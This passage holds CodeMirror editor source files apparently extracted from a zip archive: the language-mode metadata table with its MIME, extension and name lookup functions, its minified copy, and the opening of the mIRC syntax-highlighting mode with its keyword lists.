"lua", ext: ["lua"]},
    {name: "Markdown", mime: "text/x-markdown", mode:
"markdown", ext: ["markdown", "md",
"mkd"]},
    {name: "mIRC", mime: "text/mirc", mode:
"mirc"},
    {name: "MariaDB SQL", mime: "text/x-mariadb", mode:
"sql"},
    {name: "Mathematica", mime: "text/x-mathematica",
mode: "mathematica", ext: ["m", "nb",
"wl", "wls"]},
    {name: "Modelica", mime: "text/x-modelica", mode:
"modelica", ext: ["mo"]},
    {name: "MUMPS", mime: "text/x-mumps", mode:
"mumps", ext: ["mps"]},
    {name: "MS SQL", mime: "text/x-mssql", mode:
"sql"},
    {name: "mbox", mime: "application/mbox", mode:
"mbox", ext: ["mbox"]},
    {name: "MySQL", mime: "text/x-mysql", mode:
"sql"},
    {name: "Nginx", mime: "text/x-nginx-conf", mode:
"nginx", file: /nginx.*\.conf$/i},
    {name: "NSIS", mime: "text/x-nsis", mode:
"nsis", ext: ["nsh", "nsi"]},
    {name: "NTriples", mimes: ["application/n-triples",
"application/n-quads", "text/n-triples"],
     mode: "ntriples", ext: ["nt", "nq"]},
    {name: "Objective-C", mime: "text/x-objectivec",
mode: "clike", ext: ["m"], alias:
["objective-c", "objc"]},
    {name: "Objective-C++", mime:
"text/x-objectivec++", mode: "clike", ext:
["mm"], alias: ["objective-c++", "objc++"]},
    {name: "OCaml", mime: "text/x-ocaml", mode:
"mllike", ext: ["ml", "mli", "mll",
"mly"]},
    {name: "Octave", mime: "text/x-octave", mode:
"octave", ext: ["m"]},
    {name: "Oz", mime: "text/x-oz", mode:
"oz", ext: ["oz"]},
    {name: "Pascal", mime: "text/x-pascal", mode:
"pascal", ext: ["p", "pas"]},
    {name: "PEG.js", mime: "null", mode:
"pegjs", ext: ["jsonld"]},
    {name: "Perl", mime: "text/x-perl", mode:
"perl", ext: ["pl", "pm"]},
    {name: "PHP", mimes: ["text/x-php",
"application/x-httpd-php",
"application/x-httpd-php-open"], mode: "php", ext:
["php", "php3", "php4", "php5",
"php7", "phtml"]},
    {name: "Pig", mime: "text/x-pig", mode:
"pig", ext: ["pig"]},
    {name: "Plain Text", mime: "text/plain", mode:
"null", ext: ["txt", "text",
"conf", "def", "list", "log"]},
    {name: "PLSQL", mime: "text/x-plsql", mode:
"sql", ext: ["pls"]},
    {name: "PostgreSQL", mime: "text/x-pgsql", mode:
"sql"},
    {name: "PowerShell", mime:
"application/x-powershell", mode: "powershell", ext:
["ps1", "psd1", "psm1"]},
    {name: "Properties files", mime:
"text/x-properties", mode: "properties", ext:
["properties", "ini", "in"], alias:
["ini", "properties"]},
    {name: "ProtoBuf", mime: "text/x-protobuf", mode:
"protobuf", ext: ["proto"]},
    {name: "Python", mime: "text/x-python", mode:
"python", ext: ["BUILD", "bzl",
"py", "pyw"], file: /^(BUCK|BUILD)$/},
    {name: "Puppet", mime: "text/x-puppet", mode:
"puppet", ext: ["pp"]},
    {name: "Q", mime: "text/x-q", mode: "q",
ext: ["q"]},
    {name: "R", mime: "text/x-rsrc", mode:
"r", ext: ["r", "R"], alias:
["rscript"]},
    {name: "reStructuredText", mime: "text/x-rst",
mode: "rst", ext: ["rst"], alias: ["rst"]},
    {name: "RPM Changes", mime: "text/x-rpm-changes",
mode: "rpm"},
    {name: "RPM Spec", mime: "text/x-rpm-spec", mode:
"rpm", ext: ["spec"]},
    {name: "Ruby", mime: "text/x-ruby", mode:
"ruby", ext: ["rb"], alias: ["jruby",
"macruby", "rake", "rb", "rbx"]},
    {name: "Rust", mime: "text/x-rustsrc", mode:
"rust", ext: ["rs"]},
    {name: "SAS", mime: "text/x-sas", mode:
"sas", ext: ["sas"]},
    {name: "Sass", mime: "text/x-sass", mode:
"sass", ext: ["sass"]},
    {name: "Scala", mime: "text/x-scala", mode:
"clike", ext: ["scala"]},
    {name: "Scheme", mime: "text/x-scheme", mode:
"scheme", ext: ["scm", "ss"]},
    {name: "SCSS", mime: "text/x-scss", mode:
"css", ext: ["scss"]},
    {name: "Shell", mimes: ["text/x-sh",
"application/x-sh"], mode: "shell", ext:
["sh", "ksh", "bash"], alias:
["bash", "sh", "zsh"], file: /^PKGBUILD$/},
    {name: "Sieve", mime: "application/sieve", mode:
"sieve", ext: ["siv", "sieve"]},
    {name: "Slim", mimes: ["text/x-slim",
"application/x-slim"], mode: "slim", ext:
["slim"]},
    {name: "Smalltalk", mime: "text/x-stsrc", mode:
"smalltalk", ext: ["st"]},
    {name: "Smarty", mime: "text/x-smarty", mode:
"smarty", ext: ["tpl"]},
    {name: "Solr", mime: "text/x-solr", mode:
"solr"},
    {name: "SML", mime: "text/x-sml", mode:
"mllike", ext: ["sml", "sig",
"fun", "smackspec"]},
    {name: "Soy", mime: "text/x-soy", mode:
"soy", ext: ["soy"], alias: ["closure
template"]},
    {name: "SPARQL", mime: "application/sparql-query",
mode: "sparql", ext: ["rq", "sparql"], alias:
["sparul"]},
    {name: "Spreadsheet", mime: "text/x-spreadsheet",
mode: "spreadsheet", alias: ["excel",
"formula"]},
    {name: "SQL", mime: "text/x-sql", mode:
"sql", ext: ["sql"]},
    {name: "SQLite", mime: "text/x-sqlite", mode:
"sql"},
    {name: "Squirrel", mime: "text/x-squirrel", mode:
"clike", ext: ["nut"]},
    {name: "Stylus", mime: "text/x-styl", mode:
"stylus", ext: ["styl"]},
    {name: "Swift", mime: "text/x-swift", mode:
"swift", ext: ["swift"]},
    {name: "sTeX", mime: "text/x-stex", mode:
"stex"},
    {name: "LaTeX", mime: "text/x-latex", mode:
"stex", ext: ["text", "ltx",
"tex"], alias: ["tex"]},
    {name: "SystemVerilog", mime:
"text/x-systemverilog", mode: "verilog", ext:
["v", "sv", "svh"]},
    {name: "Tcl", mime: "text/x-tcl", mode:
"tcl", ext: ["tcl"]},
    {name: "Textile", mime: "text/x-textile", mode:
"textile", ext: ["textile"]},
    {name: "TiddlyWiki", mime: "text/x-tiddlywiki",
mode: "tiddlywiki"},
    {name: "Tiki wiki", mime: "text/tiki", mode:
"tiki"},
    {name: "TOML", mime: "text/x-toml", mode:
"toml", ext: ["toml"]},
    {name: "Tornado", mime: "text/x-tornado", mode:
"tornado"},
    {name: "troff", mime: "text/troff", mode:
"troff", ext: ["1", "2", "3",
"4", "5", "6", "7", "8",
"9"]},
    {name: "TTCN", mime: "text/x-ttcn", mode:
"ttcn", ext: ["ttcn", "ttcn3",
"ttcnpp"]},
    {name: "TTCN_CFG", mime: "text/x-ttcn-cfg", mode:
"ttcn-cfg", ext: ["cfg"]},
    {name: "Turtle", mime: "text/turtle", mode:
"turtle", ext: ["ttl"]},
    {name: "TypeScript", mime:
"application/typescript", mode: "javascript", ext:
["ts"], alias: ["ts"]},
    {name: "TypeScript-JSX", mime:
"text/typescript-jsx", mode: "jsx", ext:
["tsx"], alias: ["tsx"]},
    {name: "Twig", mime: "text/x-twig", mode:
"twig"},
    {name: "Web IDL", mime: "text/x-webidl", mode:
"webidl", ext: ["webidl"]},
    {name: "VB.NET", mime: "text/x-vb", mode:
"vb", ext: ["vb"]},
    {name: "VBScript", mime: "text/vbscript", mode:
"vbscript", ext: ["vbs"]},
    {name: "Velocity", mime: "text/velocity", mode:
"velocity", ext: ["vtl"]},
    {name: "Verilog", mime: "text/x-verilog", mode:
"verilog", ext: ["v"]},
    {name: "VHDL", mime: "text/x-vhdl", mode:
"vhdl", ext: ["vhd", "vhdl"]},
    {name: "Vue.js Component", mimes: ["script/x-vue",
"text/x-vue"], mode: "vue", ext: ["vue"]},
    {name: "XML", mimes: ["application/xml",
"text/xml"], mode: "xml", ext: ["xml",
"xsl", "xsd", "svg"], alias:
["rss", "wsdl", "xsd"]},
    {name: "XQuery", mime: "application/xquery", mode:
"xquery", ext: ["xy", "xquery"]},
    {name: "Yacas", mime: "text/x-yacas", mode:
"yacas", ext: ["ys"]},
    {name: "YAML", mimes: ["text/x-yaml",
"text/yaml"], mode: "yaml", ext: ["yaml",
"yml"], alias: ["yml"]},
    {name: "Z80", mime: "text/x-z80", mode:
"z80", ext: ["z80"]},
    {name: "mscgen", mime: "text/x-mscgen", mode:
"mscgen", ext: ["mscgen", "mscin",
"msc"]},
    {name: "xu", mime: "text/x-xu", mode:
"mscgen", ext: ["xu"]},
    {name: "msgenny", mime: "text/x-msgenny", mode:
"mscgen", ext: ["msgenny"]}
  ];
  // Ensure all modes have a mime property for backwards compatibility
  for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
    var info = CodeMirror.modeInfo[i];
    if (info.mimes) info.mime = info.mimes[0];
  }

  CodeMirror.findModeByMIME = function(mime) {
    mime = mime.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.mime == mime) return info;
      if (info.mimes) for (var j = 0; j < info.mimes.length; j++)
        if (info.mimes[j] == mime) return info;
    }
    if (/\+xml$/.test(mime)) return
CodeMirror.findModeByMIME("application/xml")
    if (/\+json$/.test(mime)) return
CodeMirror.findModeByMIME("application/json")
  };

  CodeMirror.findModeByExtension = function(ext) {
    ext = ext.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.ext) for (var j = 0; j < info.ext.length; j++)
        if (info.ext[j] == ext) return info;
    }
  };

  CodeMirror.findModeByFileName = function(filename) {
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.file && info.file.test(filename)) return info;
    }
    var dot = filename.lastIndexOf(".");
    var ext = dot > -1 && filename.substring(dot + 1,
filename.length);
    if (ext) return CodeMirror.findModeByExtension(ext);
  };

  CodeMirror.findModeByName = function(name) {
    name = name.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.name.toLowerCase() == name) return info;
      if (info.alias) for (var j = 0; j < info.alias.length; j++)
        if (info.alias[j].toLowerCase() == name) return info;
    }
  };
});
PKI��[����1�1codemirror/mode/meta.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.modeInfo=[{name:"APL",mime:"text/apl",mode:"apl",ext:["dyalog","apl"]},{name:"PGP",mimes:["application/pgp","application/pgp-encrypted","application/pgp-keys","application/pgp-signature"],mode:"asciiarmor",ext:["asc","pgp","sig"]},{name:"ASN.1",mime:"text/x-ttcn-asn",mode:"asn.1",ext:["asn","asn1"]},{name:"Asterisk",mime:"text/x-asterisk",mode:"asterisk",file:/^extensions\.conf$/i},{name:"Brainfuck",mime:"text/x-brainfuck",mode:"brainfuck",ext:["b","bf"]},{name:"C",mime:"text/x-csrc",mode:"clike",ext:["c","h","ino"]},{name:"C++",mime:"text/x-c++src",mode:"clike",ext:["cpp","c++","cc","cxx","hpp","h++","hh","hxx"],alias:["cpp"]},{name:"Cobol",mime:"text/x-cobol",mode:"cobol",ext:["cob","cpy"]},{name:"C#",mime:"text/x-csharp",mode:"clike",ext:["cs"],alias:["csharp","cs"]},{name:"Clojure",mime:"text/x-clojure",mode:"clojure",ext:["clj","cljc","cljx"]},{name:"ClojureScript",mime:"text/x-clojurescript",mode:"clojure",ext:["cljs"]},{name:"Closure
Stylesheets
(GSS)",mime:"text/x-gss",mode:"css",ext:["gss"]},{name:"CMake",mime:"text/x-cmake",mode:"cmake",ext:["cmake","cmake.in"],file:/^CMakeLists.txt$/},{name:"CoffeeScript",mimes:["application/vnd.coffeescript","text/coffeescript","text/x-coffeescript"],mode:"coffeescript",ext:["coffee"],alias:["coffee","coffee-script"]},{name:"Common
Lisp",mime:"text/x-common-lisp",mode:"commonlisp",ext:["cl","lisp","el"],alias:["lisp"]},{name:"Cypher",mime:"application/x-cypher-query",mode:"cypher",ext:["cyp","cypher"]},{name:"Cython",mime:"text/x-cython",mode:"python",ext:["pyx","pxd","pxi"]},{name:"Crystal",mime:"text/x-crystal",mode:"crystal",ext:["cr"]},{name:"CSS",mime:"text/css",mode:"css",ext:["css"]},{name:"CQL",mime:"text/x-cassandra",mode:"sql",ext:["cql"]},{name:"D",mime:"text/x-d",mode:"d",ext:["d"]},{name:"Dart",mimes:["application/dart","text/x-dart"],mode:"dart",ext:["dart"]},{name:"diff",mime:"text/x-diff",mode:"diff",ext:["diff","patch"]},{name:"Django",mime:"text/x-django",mode:"django"},{name:"Dockerfile",mime:"text/x-dockerfile",mode:"dockerfile",file:/^Dockerfile$/},{name:"DTD",mime:"application/xml-dtd",mode:"dtd",ext:["dtd"]},{name:"Dylan",mime:"text/x-dylan",mode:"dylan",ext:["dylan","dyl","intr"]},{name:"EBNF",mime:"text/x-ebnf",mode:"ebnf"},{name:"ECL",mime:"text/x-ecl",mode:"ecl",ext:["ecl"]},{name:"edn",mime:"application/edn",mode:"clojure",ext:["edn"]},{name:"Eiffel",mime:"text/x-eiffel",mode:"eiffel",ext:["e"]},{name:"Elm",mime:"text/x-elm",mode:"elm",ext:["elm"]},{name:"Embedded
Javascript",mime:"application/x-ejs",mode:"htmlembedded",ext:["ejs"]},{name:"Embedded
Ruby",mime:"application/x-erb",mode:"htmlembedded",ext:["erb"]},{name:"Erlang",mime:"text/x-erlang",mode:"erlang",ext:["erl"]},{name:"Esper",mime:"text/x-esper",mode:"sql"},{name:"Factor",mime:"text/x-factor",mode:"factor",ext:["factor"]},{name:"FCL",mime:"text/x-fcl",mode:"fcl"},{name:"Forth",mime:"text/x-forth",mode:"forth",ext:["forth","fth","4th"]},{name:"Fortran",mime:"text/x-fortran",mode:"fortran",ext:["f","for","f77","f90","f95"]},{name:"F#",mime:"text/x-fsharp",mode:"mllike",ext:["fs"],alias:["fsharp"]},{name:"Gas",mime:"text/x-gas",mode:"gas",ext:["s"]},{name:"Gherkin",mime:"text/x-feature",mode:"gherkin",ext:["feature"]},{name:"GitHub
Flavored
Markdown",mime:"text/x-gfm",mode:"gfm",file:/^(readme|contributing|history).md$/i},{name:"Go",mime:"text/x-go",mode:"go",ext:["go"]},{name:"Groovy",mime:"text/x-groovy",mode:"groovy",ext:["groovy","gradle"],file:/^Jenkinsfile$/},{name:"HAML",mime:"text/x-haml",mode:"haml",ext:["haml"]},{name:"Haskell",mime:"text/x-haskell",mode:"haskell",ext:["hs"]},{name:"Haskell
(Literate)",mime:"text/x-literate-haskell",mode:"haskell-literate",ext:["lhs"]},{name:"Haxe",mime:"text/x-haxe",mode:"haxe",ext:["hx"]},{name:"HXML",mime:"text/x-hxml",mode:"haxe",ext:["hxml"]},{name:"ASP.NET",mime:"application/x-aspx",mode:"htmlembedded",ext:["aspx"],alias:["asp","aspx"]},{name:"HTML",mime:"text/html",mode:"htmlmixed",ext:["html","htm","handlebars","hbs"],alias:["xhtml"]},{name:"HTTP",mime:"message/http",mode:"http"},{name:"IDL",mime:"text/x-idl",mode:"idl",ext:["pro"]},{name:"Pug",mime:"text/x-pug",mode:"pug",ext:["jade","pug"],alias:["jade"]},{name:"Java",mime:"text/x-java",mode:"clike",ext:["java"]},{name:"Java
Server
Pages",mime:"application/x-jsp",mode:"htmlembedded",ext:["jsp"],alias:["jsp"]},{name:"JavaScript",mimes:["text/javascript","text/ecmascript","application/javascript","application/x-javascript","application/ecmascript"],mode:"javascript",ext:["js"],alias:["ecmascript","js","node"]},{name:"JSON",mimes:["application/json","application/x-json"],mode:"javascript",ext:["json","map"],alias:["json5"]},{name:"JSON-LD",mime:"application/ld+json",mode:"javascript",ext:["jsonld"],alias:["jsonld"]},{name:"JSX",mime:"text/jsx",mode:"jsx",ext:["jsx"]},{name:"Jinja2",mime:"text/jinja2",mode:"jinja2",ext:["j2","jinja","jinja2"]},{name:"Julia",mime:"text/x-julia",mode:"julia",ext:["jl"]},{name:"Kotlin",mime:"text/x-kotlin",mode:"clike",ext:["kt"]},{name:"LESS",mime:"text/x-less",mode:"css",ext:["less"]},{name:"LiveScript",mime:"text/x-livescript",mode:"livescript",ext:["ls"],alias:["ls"]},{name:"Lua",mime:"text/x-lua",mode:"lua",ext:["lua"]},{name:"Markdown",mime:"text/x-markdown",mode:"markdown",ext:["markdown","md","mkd"]},{name:"mIRC",mime:"text/mirc",mode:"mirc"},{name:"MariaDB
SQL",mime:"text/x-mariadb",mode:"sql"},{name:"Mathematica",mime:"text/x-mathematica",mode:"mathematica",ext:["m","nb","wl","wls"]},{name:"Modelica",mime:"text/x-modelica",mode:"modelica",ext:["mo"]},{name:"MUMPS",mime:"text/x-mumps",mode:"mumps",ext:["mps"]},{name:"MS
SQL",mime:"text/x-mssql",mode:"sql"},{name:"mbox",mime:"application/mbox",mode:"mbox",ext:["mbox"]},{name:"MySQL",mime:"text/x-mysql",mode:"sql"},{name:"Nginx",mime:"text/x-nginx-conf",mode:"nginx",file:/nginx.*\.conf$/i},{name:"NSIS",mime:"text/x-nsis",mode:"nsis",ext:["nsh","nsi"]},{name:"NTriples",mimes:["application/n-triples","application/n-quads","text/n-triples"],mode:"ntriples",ext:["nt","nq"]},{name:"Objective-C",mime:"text/x-objectivec",mode:"clike",ext:["m"],alias:["objective-c","objc"]},{name:"Objective-C++",mime:"text/x-objectivec++",mode:"clike",ext:["mm"],alias:["objective-c++","objc++"]},{name:"OCaml",mime:"text/x-ocaml",mode:"mllike",ext:["ml","mli","mll","mly"]},{name:"Octave",mime:"text/x-octave",mode:"octave",ext:["m"]},{name:"Oz",mime:"text/x-oz",mode:"oz",ext:["oz"]},{name:"Pascal",mime:"text/x-pascal",mode:"pascal",ext:["p","pas"]},{name:"PEG.js",mime:"null",mode:"pegjs",ext:["jsonld"]},{name:"Perl",mime:"text/x-perl",mode:"perl",ext:["pl","pm"]},{name:"PHP",mimes:["text/x-php","application/x-httpd-php","application/x-httpd-php-open"],mode:"php",ext:["php","php3","php4","php5","php7","phtml"]},{name:"Pig",mime:"text/x-pig",mode:"pig",ext:["pig"]},{name:"Plain
Text",mime:"text/plain",mode:"null",ext:["txt","text","conf","def","list","log"]},{name:"PLSQL",mime:"text/x-plsql",mode:"sql",ext:["pls"]},{name:"PostgreSQL",mime:"text/x-pgsql",mode:"sql"},{name:"PowerShell",mime:"application/x-powershell",mode:"powershell",ext:["ps1","psd1","psm1"]},{name:"Properties
files",mime:"text/x-properties",mode:"properties",ext:["properties","ini","in"],alias:["ini","properties"]},{name:"ProtoBuf",mime:"text/x-protobuf",mode:"protobuf",ext:["proto"]},{name:"Python",mime:"text/x-python",mode:"python",ext:["BUILD","bzl","py","pyw"],file:/^(BUCK|BUILD)$/},{name:"Puppet",mime:"text/x-puppet",mode:"puppet",ext:["pp"]},{name:"Q",mime:"text/x-q",mode:"q",ext:["q"]},{name:"R",mime:"text/x-rsrc",mode:"r",ext:["r","R"],alias:["rscript"]},{name:"reStructuredText",mime:"text/x-rst",mode:"rst",ext:["rst"],alias:["rst"]},{name:"RPM
Changes",mime:"text/x-rpm-changes",mode:"rpm"},{name:"RPM
Spec",mime:"text/x-rpm-spec",mode:"rpm",ext:["spec"]},{name:"Ruby",mime:"text/x-ruby",mode:"ruby",ext:["rb"],alias:["jruby","macruby","rake","rb","rbx"]},{name:"Rust",mime:"text/x-rustsrc",mode:"rust",ext:["rs"]},{name:"SAS",mime:"text/x-sas",mode:"sas",ext:["sas"]},{name:"Sass",mime:"text/x-sass",mode:"sass",ext:["sass"]},{name:"Scala",mime:"text/x-scala",mode:"clike",ext:["scala"]},{name:"Scheme",mime:"text/x-scheme",mode:"scheme",ext:["scm","ss"]},{name:"SCSS",mime:"text/x-scss",mode:"css",ext:["scss"]},{name:"Shell",mimes:["text/x-sh","application/x-sh"],mode:"shell",ext:["sh","ksh","bash"],alias:["bash","sh","zsh"],file:/^PKGBUILD$/},{name:"Sieve",mime:"application/sieve",mode:"sieve",ext:["siv","sieve"]},{name:"Slim",mimes:["text/x-slim","application/x-slim"],mode:"slim",ext:["slim"]},{name:"Smalltalk",mime:"text/x-stsrc",mode:"smalltalk",ext:["st"]},{name:"Smarty",mime:"text/x-smarty",mode:"smarty",ext:["tpl"]},{name:"Solr",mime:"text/x-solr",mode:"solr"},{name:"SML",mime:"text/x-sml",mode:"mllike",ext:["sml","sig","fun","smackspec"]},{name:"Soy",mime:"text/x-soy",mode:"soy",ext:["soy"],alias:["closure
template"]},{name:"SPARQL",mime:"application/sparql-query",mode:"sparql",ext:["rq","sparql"],alias:["sparul"]},{name:"Spreadsheet",mime:"text/x-spreadsheet",mode:"spreadsheet",alias:["excel","formula"]},{name:"SQL",mime:"text/x-sql",mode:"sql",ext:["sql"]},{name:"SQLite",mime:"text/x-sqlite",mode:"sql"},{name:"Squirrel",mime:"text/x-squirrel",mode:"clike",ext:["nut"]},{name:"Stylus",mime:"text/x-styl",mode:"stylus",ext:["styl"]},{name:"Swift",mime:"text/x-swift",mode:"swift",ext:["swift"]},{name:"sTeX",mime:"text/x-stex",mode:"stex"},{name:"LaTeX",mime:"text/x-latex",mode:"stex",ext:["text","ltx","tex"],alias:["tex"]},{name:"SystemVerilog",mime:"text/x-systemverilog",mode:"verilog",ext:["v","sv","svh"]},{name:"Tcl",mime:"text/x-tcl",mode:"tcl",ext:["tcl"]},{name:"Textile",mime:"text/x-textile",mode:"textile",ext:["textile"]},{name:"TiddlyWiki",mime:"text/x-tiddlywiki",mode:"tiddlywiki"},{name:"Tiki
wiki",mime:"text/tiki",mode:"tiki"},{name:"TOML",mime:"text/x-toml",mode:"toml",ext:["toml"]},{name:"Tornado",mime:"text/x-tornado",mode:"tornado"},{name:"troff",mime:"text/troff",mode:"troff",ext:["1","2","3","4","5","6","7","8","9"]},{name:"TTCN",mime:"text/x-ttcn",mode:"ttcn",ext:["ttcn","ttcn3","ttcnpp"]},{name:"TTCN_CFG",mime:"text/x-ttcn-cfg",mode:"ttcn-cfg",ext:["cfg"]},{name:"Turtle",mime:"text/turtle",mode:"turtle",ext:["ttl"]},{name:"TypeScript",mime:"application/typescript",mode:"javascript",ext:["ts"],alias:["ts"]},{name:"TypeScript-JSX",mime:"text/typescript-jsx",mode:"jsx",ext:["tsx"],alias:["tsx"]},{name:"Twig",mime:"text/x-twig",mode:"twig"},{name:"Web
IDL",mime:"text/x-webidl",mode:"webidl",ext:["webidl"]},{name:"VB.NET",mime:"text/x-vb",mode:"vb",ext:["vb"]},{name:"VBScript",mime:"text/vbscript",mode:"vbscript",ext:["vbs"]},{name:"Velocity",mime:"text/velocity",mode:"velocity",ext:["vtl"]},{name:"Verilog",mime:"text/x-verilog",mode:"verilog",ext:["v"]},{name:"VHDL",mime:"text/x-vhdl",mode:"vhdl",ext:["vhd","vhdl"]},{name:"Vue.js
Component",mimes:["script/x-vue","text/x-vue"],mode:"vue",ext:["vue"]},{name:"XML",mimes:["application/xml","text/xml"],mode:"xml",ext:["xml","xsl","xsd","svg"],alias:["rss","wsdl","xsd"]},{name:"XQuery",mime:"application/xquery",mode:"xquery",ext:["xy","xquery"]},{name:"Yacas",mime:"text/x-yacas",mode:"yacas",ext:["ys"]},{name:"YAML",mimes:["text/x-yaml","text/yaml"],mode:"yaml",ext:["yaml","yml"],alias:["yml"]},{name:"Z80",mime:"text/x-z80",mode:"z80",ext:["z80"]},{name:"mscgen",mime:"text/x-mscgen",mode:"mscgen",ext:["mscgen","mscin","msc"]},{name:"xu",mime:"text/x-xu",mode:"mscgen",ext:["xu"]},{name:"msgenny",mime:"text/x-msgenny",mode:"mscgen",ext:["msgenny"]}];for(var
b=0;b<a.modeInfo.length;b++){var
c=a.modeInfo[b];c.mimes&&(c.mime=c.mimes[0])}a.findModeByMIME=function(b){b=b.toLowerCase();for(var
c=0;c<a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.mime==b)return
d;if(d.mimes)for(var e=0;e<d.mimes.length;e++)if(d.mimes[e]==b)return
d}return/\+xml$/.test(b)?a.findModeByMIME("application/xml"):/\+json$/.test(b)?a.findModeByMIME("application/json"):void
0},a.findModeByExtension=function(b){b=b.toLowerCase();for(var
c=0;c<a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.ext)for(var
e=0;e<d.ext.length;e++)if(d.ext[e]==b)return
d}},a.findModeByFileName=function(b){for(var
c=0;c<a.modeInfo.length;c++){var
d=a.modeInfo[c];if(d.file&&d.file.test(b))return d}var
e=b.lastIndexOf("."),f=e>-1&&b.substring(e+1,b.length);if(f)return
a.findModeByExtension(f)},a.findModeByName=function(b){b=b.toLowerCase();for(var
c=0;c<a.modeInfo.length;c++){var
d=a.modeInfo[c];if(d.name.toLowerCase()==b)return d;if(d.alias)for(var
e=0;e<d.alias.length;e++)if(d.alias[e].toLowerCase()==b)return
d}}}));PKI��[�-�"^'^'codemirror/mode/mirc/mirc.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

//mIRC mode by Ford_Lawnmower :: Based on Velocity mode by Steve
O'Hara

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMIME("text/mirc", "mirc");
CodeMirror.defineMode("mirc", function() {
  function parseWords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }
  var specials = parseWords("$! $$ $& $? $+ $abook $abs $active
$activecid " +
                            "$activewid $address $addtok $agent
$agentname $agentstat $agentver " +
                            "$alias $and $anick $ansi2mirc $aop
$appactive $appstate $asc $asctime " +
                            "$asin $atan $avoice $away $awaymsg
$awaytime $banmask $base $bfind " +
                            "$binoff $biton $bnick $bvar $bytes $calc
$cb $cd $ceil $chan $chanmodes " +
                            "$chantypes $chat $chr $cid $clevel $click
$cmdbox $cmdline $cnick $color " +
                            "$com $comcall $comchan $comerr $compact
$compress $comval $cos $count " +
                            "$cr $crc $creq $crlf $ctime $ctimer
$ctrlenter $date $day $daylight " +
                            "$dbuh $dbuw $dccignore $dccport $dde
$ddename $debug $decode $decompress " +
                            "$deltok $devent $dialog $did $didreg
$didtok $didwm $disk $dlevel $dll " +
                            "$dllcall $dname $dns $duration $ebeeps
$editbox $emailaddr $encode $error " +
                            "$eval $event $exist $feof $ferr $fgetc
$file $filename $filtered $finddir " +
                            "$finddirn $findfile $findfilen $findtok
$fline $floor $fopen $fread $fserve " +
                            "$fulladdress $fulldate $fullname
$fullscreen $get $getdir $getdot $gettok $gmt " +
                            "$group $halted $hash $height $hfind $hget
$highlight $hnick $hotline " +
                            "$hotlinepos $ial $ialchan $ibl $idle $iel
$ifmatch $ignore $iif $iil " +
                            "$inelipse $ini $inmidi $inpaste $inpoly
$input $inrect $inroundrect " +
                            "$insong $instok $int $inwave $ip $isalias
$isbit $isdde $isdir $isfile " +
                            "$isid $islower $istok $isupper $keychar
$keyrpt $keyval $knick $lactive " +
                            "$lactivecid $lactivewid $left $len $level
$lf $line $lines $link $lock " +
                            "$lock $locked $log $logstamp $logstampfmt
$longfn $longip $lower $ltimer " +
                            "$maddress $mask $matchkey $matchtok $md5
$me $menu $menubar $menucontext " +
                            "$menutype $mid $middir $mircdir $mircexe
$mircini $mklogfn $mnick $mode " +
                            "$modefirst $modelast $modespl $mouse
$msfile $network $newnick $nick $nofile " +
                            "$nopath $noqt $not $notags $notify $null
$numeric $numok $oline $onpoly " +
                            "$opnick $or $ord $os $passivedcc $pic
$play $pnick $port $portable $portfree " +
                            "$pos $prefix $prop $protect $puttok $qt
$query $rand $r $rawmsg $read $readomo " +
                            "$readn $regex $regml $regsub $regsubex
$remove $remtok $replace $replacex " +
                            "$reptok $result $rgb $right $round $scid
$scon $script $scriptdir $scriptline " +
                            "$sdir $send $server $serverip $sfile
$sha1 $shortfn $show $signal $sin " +
                            "$site $sline $snick $snicks $snotify
$sock $sockbr $sockerr $sockname " +
                            "$sorttok $sound $sqrt $ssl $sreq
$sslready $status $strip $str $stripped " +
                            "$syle $submenu $switchbar $tan $target
$ticks $time $timer $timestamp " +
                            "$timestampfmt $timezone $tip $titlebar
$toolbar $treebar $trust $ulevel " +
                            "$ulist $upper $uptime $url $usermode $v1
$v2 $var $vcmd $vcmdstat $vcmdver " +
                            "$version $vnick $vol $wid $width
$wildsite $wildtok $window $wrap $xor");
  var keywords = parseWords("abook ajinvite alias aline ame amsg anick
aop auser autojoin avoice " +
                            "away background ban bcopy beep bread
break breplace bset btrunc bunset bwrite " +
                            "channel clear clearall cline clipboard
close cnick color comclose comopen " +
                            "comreg continue copy creq ctcpreply ctcps
dcc dccserver dde ddeserver " +
                            "debug dec describe dialog did didtok
disable disconnect dlevel dline dll " +
                            "dns dqwindow drawcopy drawdot drawfill
drawline drawpic drawrect drawreplace " +
                            "drawrot drawsave drawscroll drawtext
ebeeps echo editbox emailaddr enable " +
                            "events exit fclose filter findtext finger
firewall flash flist flood flush " +
                            "flushini font fopen fseek fsend fserve
fullname fwrite ghide gload gmove " +
                            "gopts goto gplay gpoint gqreq groups
gshow gsize gstop gtalk gunload hadd " +
                            "halt haltdef hdec hdel help hfree hinc
hload hmake hop hsave ial ialclear " +
                            "ialmark identd if ignore iline inc invite
iuser join kick linesep links list " +
                            "load loadbuf localinfo log mdi me menubar
mkdir mnick mode msg nick noop notice " +
                            "notify omsg onotice part partall pdcc
perform play playctrl pop protect pvoice " +
                            "qme qmsg query queryn quit raw reload
remini remote remove rename renwin " +
                            "reseterror resetidle return rlevel rline
rmdir run ruser save savebuf saveini " +
                            "say scid scon server set showmirc signam
sline sockaccept sockclose socklist " +
                            "socklisten sockmark sockopen sockpause
sockread sockrename sockudp sockwrite " +
                            "sound speak splay sreq strip switchbar
